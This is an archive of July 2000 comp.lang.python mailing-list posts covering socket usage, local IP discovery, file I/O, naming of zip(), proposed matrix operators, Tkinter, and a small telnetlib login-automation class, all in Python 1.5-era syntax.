|> 	that address which is connected to the general internet.
|> 	Code by Donn Cave, posted to comp.lang.python'''
|> 	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|> 	s.connect( remote )
|> 	ip, localport = s.getsockname()
|> 	s.close()
|> 	return ip
|> 
|> That is actually from a Deja posting, seems to be fairly portable, doesn't
|> rely on parsing obscure Unix command responses, is readable, and is
|> generally quite reliable.
|
| But has a pretty large (IMHO) negative that you are making a wasted
| network connection to an external server that has to spend time
| setting up and tearing down TCP with you for no reason.  That seems a
| pretty high overhead to pay just to determine what is essentially a
| locally configured piece of information.  If you are in charge of your
| own server that you are using I suppose that's one thing, but it seems
| a big waste if you're connecting to someone else's.

I'm not so crazy about this function either, despite that my name appears
in it!  But my problem is that it introduces an external and otherwise
irrelevant dependency on the DNS name www.python.org and its HTTP service.
When I did this in my own application (on BeOS, in MIT Kerberos 5, which
encodes the local IP in the ticket), I used my own primary DNS service
as the target.  This IP address is always known to the local system in
advance and really has to be in service or you're sunk anyway.

Will these connections every time an application wants to determine its
own IP bring the host to its knees?  Give me a break.  This, in a Python
newsgroup!  Compare to the network burden of resolving DNS names, etc.
Waste is bad, but this is a conspicuous but very small cost compared to
huge routine expenses that are buried under DNS lookups, NFS remote mounted
filesystems etc.

Also note, for those who want to do this, if the application already
happens to have an open connection, that's the same thing for free.
And if you don't have an open connection, and you have a dynamic
IP like most PPP, this connection is going to insure that you have
a valid IP before you determine what it is.

| Unfortunately, really determining a local configured address just
| isn't that portable a thing from my experience.  Probably the closest
| would be the SIOCGIFCONF IOCtl (for Unix systems) as previously
| posted.  There is an Windows socket IOCtl that is similar
| (SIO_ADDRESS_LIST_QUERY), but I'm not sure how best to get to it from
| Python, aside from something like a CallDLL approach.
|
| While without an alternative that is portable as the above example
| makes it hard to come out too strong against it, I did want to point
| out that while it may be portable and readable, it has negatives on
| the network side in terms of wasted connections.  I built backbones in
| a prior life, and I sort of cringe to think of tons of user code
| suddenly starting to do stuff like the above :-)

On the bright side, generally it's not necessary to know your own
IP address.  I'm curious why we are seeing this question so often,
what are folks doing out there?

In the final analysis of course it's up to the application author
to decide what will work best.  The thing I do have a strong opinion
about is that it's all too common and just shoddy as all get out
to say ``this works for Linux'' and leave it at that.  It's
particularly ironic when it's Linux, as opposed to Solaris or
Windows.  Linux is so utterly dependent on the hard work of the
GNU folks who have done more for platform independence than anyone.
In a different world where the Sun world, DEC world et al. each had
their own little communities writing software for themselves, Linux
would be a dead dog.  But now that they have a little community of
their own, sometimes it seems to me like they have an attitude about
portability that goes beyond just a lack of experience with other
platforms.  In the old days, I don't know, 10 years ago or thereabouts,
non-commercial UNIX software was very tedious to port.  Things like
POSIX, X/Open and GNU have made life pretty easy, in comparison, but
they only matter because people have cared to write portable code,
possibly at the expense of a few whiz-bang platform specific features.

None of which is exceptionally relevant to the present case, I just
needed to get that off my chest.

	Donn Cave, donn at u.washington.edu


From mfletch at tpresence.com  Thu Jul 13 13:06:31 2000
From: mfletch at tpresence.com (Mike Fletcher)
Date: Thu, 13 Jul 2000 13:06:31 -0400
Subject: Simple File I/O Question
Message-ID: <CC59868A0A76D311B1F50090277B321C1F3421@VRTMAIL>

str( var ) # gives '1'

or

import struct
struct.pack( '>i', var ) # binary representation, gives '\000\000\000\001'

or

import pickle # or cPickle
pickle.dumps( var ) # allows for arbitrary objects to be stored/restored,
gives 'I1\012.'

or

pickle.dumps( var, 1) # uses more compact binary representation, otherwise
identical, gives 'K\001.'

or

look at the shelve module (name:object storage)

See the docs on struct, shelve and pickle for explanations of their purpose
and operation.  HTH,
Mike

-----Original Message-----
From: Curtis Jensen [mailto:cjensen at bioeng.ucsd.edu]
Sent: Thursday, July 13, 2000 12:42 PM
To: python-list at python.org
Subject: Simple File I/O Question


I know this should be simple, but....  I have a variable that holds an
int.  I want to write it to a file.  The following code:

var = 5
f = open('foo','w')
f.write(var)

gives this error:
TypeError: read-only buffer, int

This works if:
var = '5'

So, How do I write an int variable to a file?  Thanks.

-- 
Curtis Jensen
cjensen at bioeng.ucsd.edu
http://www-bioeng.ucsd.edu/~cjensen/
FAX (425) 740-1451
-- 
http://www.python.org/mailman/listinfo/python-list



From robin at jessikat.fsnet.co.uk  Sun Jul 16 05:11:26 2000
From: robin at jessikat.fsnet.co.uk (Robin Becker)
Date: Sun, 16 Jul 2000 10:11:26 +0100
Subject: Python equivalent of CPAN in Perl
References: <397122FB.71E32674@wl.vg> <8krfa9$vf4$1@nntp9.atl.mindspring.net>
Message-ID: <PKYoxIA+wXc5EwNL@jessikat.fsnet.co.uk>

In article <8krfa9$vf4$1 at nntp9.atl.mindspring.net>, Aahz Maruch
<aahz at netcom.com> writes
...
>
>We've got half of it with Vaults of Parnassus.  Another third will come
>with the standardization of distutils in Python 2.0 (remember, 1.6 has
>been renamed to 2.0).
...
Unfortunately not true. A large share of the Python market (on win32)
have no compilers and probably wouldn't/couldn't use one even if it were
present. I doubt the extension builders will always want to include
.pyds for Python15.dll Python20.dll etc etc.
-- 
Robin Becker


From bwinton at tor.dhs.org  Tue Jul 11 00:12:22 2000
From: bwinton at tor.dhs.org (Blake Winton)
Date: Tue, 11 Jul 2000 04:12:22 GMT
Subject: Microsoft's  C# (Sharp) & .NET -- A Heads Up
References: <qJ165.8938$nZ5.153196@typhoon.southeast.rr.com> <395a7440.132798875@nntp.interaccess.com> <39597A25.8BF553C@san.rr.com> <slrn8lj56i.l52.thomas@centurion.xs4all.nl> <395d728e.117049078@nntp.interaccess.com> <395D7E14.B18EC77D@san.rr.com> <3968fadf.299209218@nntp.interaccess.com> <81da5.125084$WS3.1096675@typhoon.we.rr.com> <8kbuqn0uoa@news1.newsguy.com> <Lgga5.125600$WS3.1101565@typhoon.we.rr.com> <8kciag017h5@news2.newsguy.com> <396d0cde.369352218@nntp.interaccess.com>
Message-ID: <slrn8ml46q.258.bwinton@tor.dhs.org>

On Mon, 10 Jul 2000 17:52:46 GMT, Thaddeus L. Olczyk wrote:
>>If somebody's gotta be sued under these absurd current practices,
>>then, better it be MS, than me.
>Lately they haven't had that much luck in court. Anyone using C# has
>to take that into account and wonder if it will be here in two years.
>Look at J++ ( yes it's still around, but does anyone use it?)

Sadly, everyone in my office.

Sadly because we're working with JDK 1.2.2, which J++ doesn't support.
I've wasted at least four days fixing "bugs" which ended up being due
to J++, and its VM.

My-next-message-will-be-on-topic-I-promise-ly y'rs,
Blake.
-- 
10:07pm up 1 day, 11:20, 1 user, load average: 0.00, 0.00, 0.00


From mmorris at mindspring.com  Thu Jul 27 20:20:58 2000
From: mmorris at mindspring.com (Mitchell Morris)
Date: 28 Jul 2000 00:20:58 GMT
Subject: Socket question: arbitrary port
References: <39805D19.C005F16F@hotmail.com> <Pine.LNX.4.10.10007271034460.31368-100000@localhost.localdomain>
Message-ID: <8F7EB13BAbeablebeable@209.155.56.81>

rbill at digisprings.com (Robert W. Bill) wrote in 
<Pine.LNX.4.10.10007271034460.31368-100000 at localhost.localdomain>:

>
>On Thu, 27 Jul 2000, Jean Bergeron wrote:
>
>> Is it possible to connect a socket through an arbitrary port?
>> In other words, can Python find an available port without having the
>> programmer (or user) specify a particular port number?
>> 
>> Any help would be appreaciated!
>> Thanks!
>> 
>
>My understanding is (assuming you're talking AF_INET) is that
>it requires a port for the bind call for a server socket and a destination
>port to connect to for a client socket. So you would have to
>identinfy the port for those calls. 
>i.e.-
>import socket
>
>s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>#you need a connect or bind to do something with it
>s.bind('127.0.0.1', 80) #second num is port
>s.connect('www.python.org', 80) #same here- need destination port num
>
>the lazy persons's method to pick the first available port (warning: bad
>idea/example):
>
>portNum = 1
>while 1:
>    try: 
>     s.bind('127.0.0.1', portNum)
>     break
>    except socket.error, why:
>     # could analyze why here 
>     portNum = portNum + 1
>
>--replace the above s.bind with s.connect('someplace', portNum), and you
>have a great way to stir trouble :)
>
>Without details I might have missed the point, but the generalized answer 
>is you provide a port for connect/bind in your program by some means
>rather than python picking it.
>
>-robert
>
>

Ewwwwwwww .... don't ever ever ever do that again. Bad dog! No biscuit!

Contrary to your reasoning, you only need bind *OR* connect. If you're 
going to listen, you bind. If you're not going to listen, you connect. I 
would swear this is in the Python distribution somewhere. [rummaging about 
in the directory tree] There is an example in Lib/test/test_socket.py in 
your Python distribution. An even shorter example is here:

C:\>python
Python 1.5.2 (#0, Apr 13 1999, 10:51:12) [MSC 32 bit (Intel)] on win32
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam
>>> import socket
>>> s = socket.socket(socket.AF_INET, socket.SOCK_STREAM, 0)
>>> s.connect(('www.pythonlabs.com', 80))
>>> s.send('GET / HTTP/1.0\r\n\r\n')
18
>>> print s.recv(8192)
[deletia]
>>> s.close()


From porter at et.byu.edu  Wed Jul 12 13:09:13 2000
From: porter at et.byu.edu (C. Porter Bassett)
Date: Wed, 12 Jul 2000 11:09:13 -0600
Subject: Solaris Binaries
In-Reply-To: <yfmvgyca6ka.fsf@pallas.i-did-not-set--mail-host-address--so-shoot-me>
References: <Pine.GHP.4.21.0007111141360.16443-100000@don.et.byu.edu> <yfmvgyca6ka.fsf@pallas.i-did-not-set--mail-host-address--so-shoot-me>
Message-ID: <Pine.GHP.4.21.0007121108440.17209-100000@don.et.byu.edu>

That is where I tried first.  The python that they have does not even have
the thread module.

--------------------------------------------------------------------------
C. Porter Bassett     porter at et.byu.edu   http://www.et.byu.edu/~porter
--------------------------------------------------------------------------
"Pretend like this is a really witty saying." - Anonymous
--------------------------------------------------------------------------

On 11 Jul 2000 luthi at vaw.ethz.nothing.ch wrote:

> Try http://sunfreeware.com
> -- 
> http://www.python.org/mailman/listinfo/python-list
> 



From ryzam at my-deja.com  Sun Jul 23 21:51:56 2000
From: ryzam at my-deja.com (ryzam at my-deja.com)
Date: Mon, 24 Jul 2000 01:51:56 GMT
Subject: how to build ssl on window
References: <8lb9ap$j0n$1@nnrp1.deja.com> <8lc6jk$1f1$1@coco.singnet.com.sg> <8lde5s$vba$1@nnrp1.deja.com> <8leo17$tnt$1@dahlia.singnet.com.sg>
Message-ID: <8lg7ft$odv$1@nnrp1.deja.com>

In article <8leo17$tnt$1 at dahlia.singnet.com.sg>,
  ngps at post1.com (Ng Pheng Siong) wrote:
> According to  <ryzam at my-deja.com>:
> > i have download M at Crypt0 0.05-snapshot#3 and unzip it.How to use it?
> > because when i 'm try to run "python urllib2.py" i got an error
>
> urllib2.py is a library, not an application.
>
> See demo/ssl/https_cli.py.
>
> --
> Ng Pheng Siong <ngps at post1.com> * http://www.post1.com/home/ngps
>
> I'm still get an error msg. I run python https_cli.py and  get error
like this:

 File "https_cli.py", line 10 , in?
 from M2Crypto import Rand,SSL, httpslib,
 ImportError: NO module named M2Crypto






Sent via Deja.com http://www.deja.com/
Before you buy.


From mjhand at concentric.net  Mon Jul 17 23:37:15 2000
From: mjhand at concentric.net (Manus Hand)
Date: 17 Jul 2000 23:37:15 EDT
Subject: Wherefore art thou, 1.6?
Message-ID: <3973D0A1.5E1289D9@concentric.net>

As I assume we all know, there is nothing but an unlinked "Python 1.6"
at python.org.  I was curious about this, but thought it a temporary
condition.  That was a while ago, though....

So I did a quick deja.com search through c.l.p to see if I could get
an explanation.  All I found was someone asking three weeks ago and
getting, well, no answer.

Can someone please post a status on 1.6?

Thanks,
Manus (who is using [and loves] 1.6a2 and lives in fear that the 1.6
release was for some reason decided against in the alpha stage)


From tanzer at swing.co.at  Mon Jul 24 01:40:48 2000
From: tanzer at swing.co.at (Christian Tanzer)
Date: Mon, 24 Jul 2000 07:40:48 +0200
Subject: New PEP: Attribute Access Handlers 
In-Reply-To: Your message of "Sun, 23 Jul 2000 13:15:43 CDT."
             <397B364F.A5133684@prescod.net> 
Message-ID: <m13Gayu-000wcDC@swing.co.at>

Paul Prescod <paul at prescod.net> wrote:

> > In general, get/set/del are not related. For instance:
> > 
> >     $ dir ~/ttt/ttptools/*/*.py | wc -l
> >         426
> >     $ grep '  def __setattr__' ~/ttt/ttptools/*/*.py | wc -l
> >           5
> >     $ grep '  def __getattr__' ~/ttt/ttptools/*/*.py | wc -l
> >          44
> >     $ grep '  def __delattr__' ~/ttt/ttptools/*/*.py | wc -l
> >           0
> 
> This statistics are not that meaningful unless those __setattr__ and
> __getattr__s are all implementing this convention. Gets and sets on a
> *particular attribute* are more likely to be symmetrical and related
> than gets and sets *in general*.

True, but:

- the arguments in your original proposal also apply in the case of
  unrelated gets and sets

- imo, related gets and sets on a particular attribute is a rare
  occurence (e.g., none of the scenarios of the justification in your
  PEP falls in this category)

> > If the performance side of problem 2 is really an issue, move the
> > checking of `__attr_setters__/__attr_getters__/__attr_deleters__' from
> > `__setattr__/__getattr__/__delattr__' into the interpreter (other
> > names for the magic dictionaries might be useful then).
> 
> Fine: "move it into the interpreter"? How? The current proposal allows
> an optimized implementation in the interpreter. Part of the design is
> based on this.

I'll try to sketch how to implement it in comparison to the proposed
implementation in your PEP (I never yet looked at the Python
implementation). 

- no new object type
- no changes in class construction 
- no changes in instance construction
- property fetching:

  * A "get" proceeds as usual until just before `__getattr__' would be
    could. At this point, the dictionary `__attr_getters__' would be
    checked -- if it contains a get-function for the attribute in
    question, that function is called, otherwise `__getattr__' is
    called as usual.

  * A set proceeds by checking the `__attr_setters__' dictionary.
    If it does not contain a set-function for the attribute in
    question, everything proceeds as it does today. Otherwise that
    function is called.

  * The implementation of delete is basically identical to the 
    implementation of set.

> A counter-proposal isn't complete until it describes the
> interpreter changes in more detail.

Sorry. I didn't intend to make a formal counter proposal -- just point
out that there are other options requiring fewer changes. And I
thought it would be obvious how to change the interpreter -- relative
to your proposal, that is.

-- 
Christian Tanzer                                         tanzer at swing.co.at
Glasauergasse 32                                       Tel: +43 1 876 62 36
A-1130 Vienna, Austria                                 Fax: +43 1 877 66 92




From gregholmes at my-deja.com  Thu Jul  6 13:11:50 2000
From: gregholmes at my-deja.com (gregholmes at my-deja.com)
Date: Thu, 06 Jul 2000 17:11:50 GMT
Subject: tkinter frames
References: <8k26af$1nq$1@nnrp1.deja.com>
Message-ID: <8k2ekb$7hn$1@nnrp1.deja.com>

Don't you need to pack() or grid() the label sometime?
label1.pack()

In article <8k26af$1nq$1 at nnrp1.deja.com>,
  Keith Murphy <kpmurphy at my-deja.com> wrote:
> can anyone tell me why this doesn't work?
>
> from Tkinter import *
>
> root = Tk()
> myFrame = Frame(root, width=200, height=200, bg='red')
> myFrame2 = Frame(root, width=200, height=200, bg='orange')
>
> label1 = Label(myFrame, text='hi')
>
> myFrame.grid(row=0, column=0)
> myFrame2.grid(row=0, column=2)
>
> root.mainloop()
>
> ...(in my mind)it should display two colored frames, one containing a
> label.
>
> thanks,
> -->keith
>
> Sent via Deja.com http://www.deja.com/
> Before you buy.
>


Sent via Deja.com http://www.deja.com/
Before you buy.


From hzhu at localhost.localdomain.bbs  Mon Jul 17 19:40:04 2000
From: hzhu at localhost.localdomain.bbs (hzhu at localhost.localdomain.bbs)
Date: 17 Jul 2000 23:40:04 GMT
Subject: Does Python have "not a number" floating point values?
Message-ID: <3bRTN5$jq1@openbazaar.net>

On Mon, 17 Jul 2000 16:10:36 -0700, Russell E. Owen
<owen at astroNOJNK.washington.edu.invalid> wrote:
>Does Python support any sort of floating point "not a number" (e.g. IEEE
>infinity)?

This seems to work and is used in MatPy (taken from several replies I got here):

Inf = inf = 1e300**2
NaN = nan = inf - inf

Huaiyu
--
Huaiyu Zhu                       hzhu at users.sourceforge.net
Matrix for Python Project        http://MatPy.sourceforge.net


From gmcm at hypernet.com  Mon Jul 31 16:40:32 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 31 Jul 2000 20:40:32 GMT
Subject: experts disagree on "call-by-reference"
References: <8m29o0$p9g$2@news.dtc.hp.com>
Message-ID: <8F82AF46Dgmcmhypernetcom@199.171.54.194>

Greg Weeks wrote: 

>Lisp, CLU, Java, and Python implement objects, assign objects, and pass
>objects to functions similarly.  [Although Jave differs regarding its
>"primitive" types.]  So I was curious about how various Lisp, CLU, and
>Java texts dealt with the issue of "references" and "call-by-whatever". 
...

Back in '96 or so, I had a knock-down, drag-out fight on c.l.j.? (they call 
it a "discussion" there) with a well known Java book author and Sun 
employee. He would tell posters "Java is pass by value". I got him to 
reform that to: "Java is pass by value: for primitives, it's the value of 
the primitive, for references, it's the value of the reference."

I wasn't particularly happy with that either (he should've at least added 
"...*not* the referenced object"), but it's technically true, and it should 
ring warning bells in the heads of people who have been brainwashed by Herr 
Wirth into thinking that "by value" and "by reference" are magical things 
the language does for you, without ever stopping to consider how it works.

My experience with these folks is that most of them can grasp what a 
pointer is, but less than half ever get "pointer to a pointer".

Pascal-causes-brain-damage-ly y'rs

- Gordon


From peter at schneider-kamp.de  Thu Jul 20 04:14:33 2000
From: peter at schneider-kamp.de (Peter Schneider-Kamp)
Date: Thu, 20 Jul 2000 08:14:33 +0000
Subject: merge (Re: zip or marry etc)
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <3975EF36.1651C9CB@roguewave.com> <8l52re$tbe$1@nntp9.atl.mindspring.net> <39763FF4.2CA5BF75@schneider-kamp.de> <8l59pa$6ff$1@slb1.atl.mindspring.net>
Message-ID: <3976B4E9.B26F5FA@schneider-kamp.de>

Aahz Maruch wrote:
> 
> In article <39763FF4.2CA5BF75 at schneider-kamp.de>,
> Peter Schneider-Kamp  <peter at schneider-kamp.de> wrote:
> >Aahz Maruch wrote:
> >>
> >> Precisely.  "Zip" has come to mean compression, and I think *that's* a
> >
> >I hate to warm up the whole thread from python-dev, but I'll post
> >a quote from /F:
> 
> Some of these make sense, others are absurd.  And while I'm sure /F
> meant this as a joke, I feel a need to respond seriously:
> 
> >/F:
> >> is this the end of Python development?
> >>
> >> just imagine what this crowd would have done if guido had asked
> >> you *before* he added things like:
> >>
> >>     dir ("hey, dir should give you a list of filenames")
> 
> Directories existed before DOS.  Not relevant.
> 
> >>     del ("removes files, right?")
> 
> Ditto.
> 
> >>     compile ("but people will think that it generates
> >>     machine code")
> 
> A point, but mostly <shrug>
> 
> >>     global ("but it's not truly global. how about regional
> >>     or domestic?")
> 
> <snort>  Amusing.
> 
> >>     hash ("that's a data type, right?") ("or perhaps something
> >>     from the The Amsterdam Aloha Seed Bank?")
> 
> Again, "hash" has long since had a relevant meaning for computers.
> 
> >>     hex ("now wait.  it's not clear from the name if it con-
> >>     verts a hex string to an integer, or the other way around.
> >>     oh, it's the latter.  sorry, but that will confuse perl pro-
> >>     grammers")
> 
> IIRC, at that point in time, Perl was not a standard other languages
> were being judged against.
> 
> >Come on, other languages can live with zip(), too.
> 
> I think I was insufficiently clear: in addition to "zip" having a known
> meaning, it does not have any connotation in computer terms of combining
> data that I've ever seen.  Yeah, if you want to call it "zipper", I
> might almost see your point.

Yes, it does have a connotation in computer terms. At least for people
with a functional programming background.

But which word did we yet discover, which connotation in computer term
really matches the intended meaning?

If there wasn't this cross product connotation problem I'd really
prefer the syntactic sugar:

for x,y; y in [(1,2), (3,4)]; [5, 6]

That's (for me) as clear as it can get.

Peter
--
Peter Schneider-Kamp          ++47-7388-7331
Herman Krags veg 51-11        mailto:peter at schneider-kamp.de
N-7050 Trondheim              http://schneider-kamp.de



From thomas at xs4all.net  Wed Jul 19 16:13:24 2000
From: thomas at xs4all.net (Thomas Wouters)
Date: Wed, 19 Jul 2000 22:13:24 +0200
Subject: zip or marry etc
In-Reply-To: <20000719140103.E3336@exeter.exeter.org>; from caribou2@yahoo.com on Wed, Jul 19, 2000 at 02:01:03PM -0400
References: <20000718100813.C21354@newcnri.cnri.reston.va.us> <T0ePelAgnJd5EwFl@jessikat.fsnet.co.uk> <m3og3uprzw.fsf@atrus.jesus.cam.ac.uk> <tOid5.135713$HK2.2425898@news20.bellglobal.com> <8l4g5i$8$1@slb7.atl.mindspring.net> <3975E070.308511F4@roguewave.com> <20000719140103.E3336@exeter.exeter.org>
Message-ID: <20000719221324.J9897@xs4all.nl>

On Wed, Jul 19, 2000 at 02:01:03PM -0400, Karl Ulbrich wrote:
> > > Olivier Dagenais <olivierS.dagenaisP at canadaA.comM> wrote:
> > > >How about:
> > > >
> > > >"twist", "merge", "smash", "glue", "dna", "ladder", "join", "match",
> > > >"collect", "pick", "lineup"???

> Suggested elsewhere, but I liked "plait".

Too obscure for non-native english speakers (not to mention those that don't
speak english<wink>)

-- 
Thomas Wouters <thomas at xs4all.net>

Hi! I'm a .signature virus! copy me into your .signature file to help me spread!



From shapr at uab.edu  Wed Jul 26 17:14:34 2000
From: shapr at uab.edu (Shae Erisson)
Date: Wed, 26 Jul 2000 21:14:34 GMT
Subject: was Re: Type inference now simplicity
References: <8lktiq$rgv$14$1@news.t-online.com> <Plsf5.12114$4p3.94007@news-server.bigpond.net.au>
Message-ID: <397F5410.6D9D317A@uab.edu>

Neil Hodgson wrote:
>    I found this article quite depressing. One of the effects of .NET appears
> to be the homogenisation of programming languages. When the platform
> emphasises compilation, compiler helpful warts like variable declaration and
> "option fast" start appearing. There is a place for languages with optional
> typing but there is also a place for a language that tries to stay very
> simple.
> 
>    VB has been on a long journey of complexification which has been great
> for many but has left some people behind. One of my mates works as a
> manager/bureaucrat - programming isn't a significant part of his job but
> over the years he's been able to write bits of dBase, Excel macros and HTML
> with embedded JavaScript. Excel moved from a simple macro language to a
> simplified VB variant (OK, so far) to using full VB (getting worse) and then
> VB starts gaining C++ features (bad). So this bloke has stopped programming
> in Excel - just too hard now. Adding 'programming in the large' features
> appears good to help the more advanced users but it introduces unwanted
> complexity for others. JavaScript was the last refuge of simplicity but now
> Microsoft (and Netscape) are moving it into the same zone as Python, VB and
> C#. I expect a new simple language will appear, gain some users and then
> embark on the same journey to complexity.

I agree with this. With Python, I'm opposed to the idea of adding
autoincrement operators like += etc. I'm opposed to adding the extra for
loop stuff like "for [x,y,z] in [a,b,c]."
And I'm opposed to it because it seems like sugar to me. I've always
loved Python's simplicity, and I hope it stays that way.

Adding new operators and new syntax will make Python harder to read, and
harder to learn. I don't want that.

Simplicity always seems to improve things. Usually, I can improve by
removing rather than adding. Concepts like WikiWiki, Refactoring, etc.
appeal to me tremendously.
-- 
Shae Matijs Erisson - http://www.webwitches.com/~shae/
VirtualPairProgramming Wanted - Linux/Emacs/Python/Speak Freely
.fi: rakastan ohjelmointia - python kengitt?? aasia


From hzhu at localhost.localdomain  Mon Jul 24 21:26:14 2000
From: hzhu at localhost.localdomain (Huaiyu Zhu)
Date: Tue, 25 Jul 2000 01:26:14 GMT
Subject: Discussion: new operators for numerical computation
References: <Pine.LNX.4.10.10007191505070.1129-100000@rocket.knowledgetrack.com> <8l6vul$5ig$1@slb3.atl.mindspring.net> <slrn8nhndr.qn.hzhu@rocket.knowledgetrack.com> <m2wvifm2bd.fsf@spiff.home.com> <slrn8nnhkb.2qi.hzhu@localhost.localdomain> <m2bsznl3n0.fsf@spiff.home.com>
Message-ID: <slrn8nprct.3i1.hzhu@rocket.knowledgetrack.com>

On Mon, 24 Jul 2000 20:34:40 GMT, Tim Hochberg <tim.hochberg at ieee.org> wrote:

>> b = a.I - a | u / (c.I + v/a*u) * v / a
>> 
>> b = a.I .- a .| u ./ (c.I .+ v./a.*u) .* v ./ a
>> 
>> b = a.I @- a @| u @/ (c.I @+ v@/a@*u) @* v @/ a
>> 
>> b = a.I (-) a (|) u (/) (c.I (+) v(/)a(*)u) (*) v (/) a

>The first is definitely the best. This does give me some sympathy for
>the reversing the sense of the operators in different packages
>proposal. Not enough, I don't think, but some. I think the second one
>is actually the worst: are you going to notice the difference between:
>
>b = a.I .- a .| u ./ (c.I .+ v./a.*u) .* v ./ a
>
>and 
>
>b = a.I .- a .| u ./ (c.I .+ v./a*u) .* v ./ a
>
>It seems that accidentaly using matrix when elementwise was meant and
>vise versa would be a huge problem.

Good point.  So .op is out.  (In matlab this is smaller problem because
elementwise operation is not so frequent.)

>The third is hard to parse because @ is so heavy, and the last case
>has parentheses problems. Blech. I went ahead and tried the other
>passible bracketing symbols:
>
>b = a.I [-] a [|] u [/] (c.I [+] v[/]a[*]u) [*] v [/] a
>
>b = a.I <-> a <|> u </> (c.I <+> v</>a<*>u) <*> v </> a
>
>b = a.I {-} a {|} u {/} (c.I {+} v{/}a{*}u) {*} v {/} a
>
>The [*] form looks a little better. The <*> form bugs me because <->
>looks like and arrow, but otherwise looks better than I expected. The
>{*} form looks no better than [*] form, and is less evocative of a
>matrix operation.

How do these compare with
 
 b = a.I ~- a ~| u ~/ (c.I ~+ v~/a~*u) ~* v ~/ a

The ~ is non-intrusive - the parenthesis are clearly visible.  It is not as
easily missed as a dot.

>My opinion: ".op" should be killed; any more consideration of this
>front should go to "@op" or "~op". "(op)" should probably also die and
>be replaced by "[op]" or, maybe, "<op>" or "{op}".

Here's a summary of symbols discussed so far

              Advantages                      Disadvantages
.op   clean[1], extend[1], 1c       conflict (float, member), easy to miss
@op   NC, extend[2], 1c             visually heavy
~op   NC, clean[2], extend[2], 1c   ?
(op)  NC, clean[1], extend[1]       confuse with existing ( )
[op]  NC, clean[2], extend[1]       confuse with existing [ ]
{op}  NC, clean[2], extend[1]       confuse with existing { }
<op>  clean[2],                     conflict? confuse with existing < >?
---------
Notes:
NC          no conflic with existing strucuteres.
extend[1]   future extension to multisymbol operators, like @%$
extend[2]   future extension to mixed multisymbol operators, like @name
clean[1]    visually clean individually
clean[2]    visually clean in formulas 
1c          one additional character

I agree that we should kill .op and (op).  But we can get rid of several
others as well.  The [op] and {op} have the similar disadvantage as ().
Consider, for example,

Matrix([[1],[2]]) [/] Matrix([[3]])
[ [a[*]b, a[/]b], [a[+]b,a[-]b] ]
[ {1:a{*}b, 2:b{/}a}, {"a":a{+}b, "b":a{-}b} ]

The form ~op~ mentioned sometime earlier is not better than any of the
brackets except (op).

It seems that @op is no better than ~op in every aspect.

So let's drop these as well. And we are left with only 
~op
<op>

When comparing ~op with <op>, I prefer the former, as there is not much need
to delimit both sides if there's only going to be one or two characters. The
~op is light weight enough that I'd be willing to go along with ~op for
linear algebra if that also means solve has a symbol.  

BTW, the ~ can also serves as a meta character for future extension of infix
operators (See the opeartor for everything thread).  Consider
a ~add b < c
a <add> b < c
This leaves the future open without committing anything.

Is there any problem associately with  ~op?

>I'm also starting to wonder if maybe there is no good, pythonic syntax
>to be added here. Perhaps more consideration should go into using the
>existing operators and making tranformations between elementwise array
>objects and matrix objects convenient.

Well, to a certain extent, because the ascii keyboard is limited.  Unicode
may be relief in the future.  However, this example has probably more than
average complexity. So we shouldn't expect it to be easy, even on paper.

I've been thinking about using the casting approach, but it does not seem to
be easy.  The maintenance is non-trivial when new methods and functions are
added.  The actual formula is not that bad, in fact,

 b = a.I - a.M | u.M / (c.I + v.M/a.M*u.M) * v.M / a.M

Huaiyu



From bjorn at roguewave.com  Thu Jul 20 16:43:08 2000
From: bjorn at roguewave.com (Bjorn Pettersen)
Date: Thu, 20 Jul 2000 14:43:08 -0600
Subject: newwb Q:telnetlib
References: <39775539.8B533FAE@tcgfinancial.com>
Message-ID: <3977645C.75C25D78@roguewave.com>

jtoy wrote:
> 
> Hi, Im trying to write a Python script that runs some simple telnet
> commands.  I want to login, enter usrname/password, then enter a few
> command like: cd, pwd, mail, etc.  I followed the example in
> telnetlib.py, but I cant get it to work.  Can someone write a small
> example with the variables I wrote above?  Thanks for your time.
> Jason Toy
> toyboy at toy.eyep.net
> http://toy.eyep.net

Here's a little rsh'ish class that I just created for a similar
purpose...

You would use it like:

  import rsh
  r = rsh.Rsh('remotehost.foo.com', 'user', 'password')
  r('ls')
  r('cd foobar')
  r('pwd')
  r.close()

It's probably not terribly robust (I only needed it to login to one
machine ;-)  It does print out debug information if you pass something
greater than 0 as fourth argument to the constructor. It also at least
makes the following assumptions (change __init__ if they don't match
your situation):

 - remote machine will respond with "login:" when waiting for username
 - "Password:" when waiting for password
 - initial prompt contain '>' or '$'
 - the prompt can be changed by "export PS1=..."

If you make any improvements, I'd love to see them <wink>

hth,
-- bjorn

#rsh.py
import telnetlib

class Rsh:
	def __init__(self, host, user, passwd, debug=0):
		self.prompt = '<bjorn>'
		self.promptre = [self.prompt]
		self.tn = telnetlib.Telnet()
		
		self.debug = debug
		if self.debug:
			self.tn.set_debuglevel(debug)
			
		self.tn.open(host)
		self.tn.expect(['login:'])
		self.tn.write(user + '\n')
		self.tn.expect(['Password:'])
		self.tn.write(passwd + '\n')
		# note expecting initial prompt to have '>' or '$'
		self.tn.expect(['>', '[$]'])
		if self.debug: print 'writing:', 'export PS1="%s "\n' % self.prompt
		self.tn.write('export PS1="%s "\n' % self.prompt)
		#this takes care of the <prompt> in setting it...
		self.tn.expect(self.promptre)
		#and the first prompt
		self.tn.expect(self.promptre)
		
	def __call__(self, cmnd):
		if self.debug: print 'writing:', cmnd 
		self.tn.write(cmnd + '\n')
		if self.debug: print 'expecting:', self.promptre
		return self.tn.expect(self.promptre)[2][:-len(self.prompt)]
		
	def execute(self, cmnd):
		if self.debug: print 'writing:', cmnd 
		self.tn.write(cmnd + '\n')
		if self.debug: print 'expecting:', self.promptre
		return self.tn.expect(self.promptre)
		
	def close(self):
		if self.debug: print 'closing'
		self.tn.close()



From gmcm at hypernet.com  Mon Jul  3 08:20:35 2000
From: gmcm at hypernet.com (Gordon McMillan)
Date: 03 Jul 2000 12:20:35 GMT
Subject: From UNIX to Win NT
References: <39606DAC.49A502DB@muc.das-werk.de>
Message-ID: <8F665C79Agmcmhypernetcom@199.171.54.154>

Thomas Thiele wrote:

>Hallo!
>
>I have a program running on UNIX(IRIX and LINUX). I now want to port
>this 
>program to Win NT. Is there anybody who have any experience with this?
>
>The problem is I am using threads, fork and exec. And I want to have the
>same behaviour using NT.
>
>- at first I create a new thread. (so the main thread is ready for
>receiving commands)
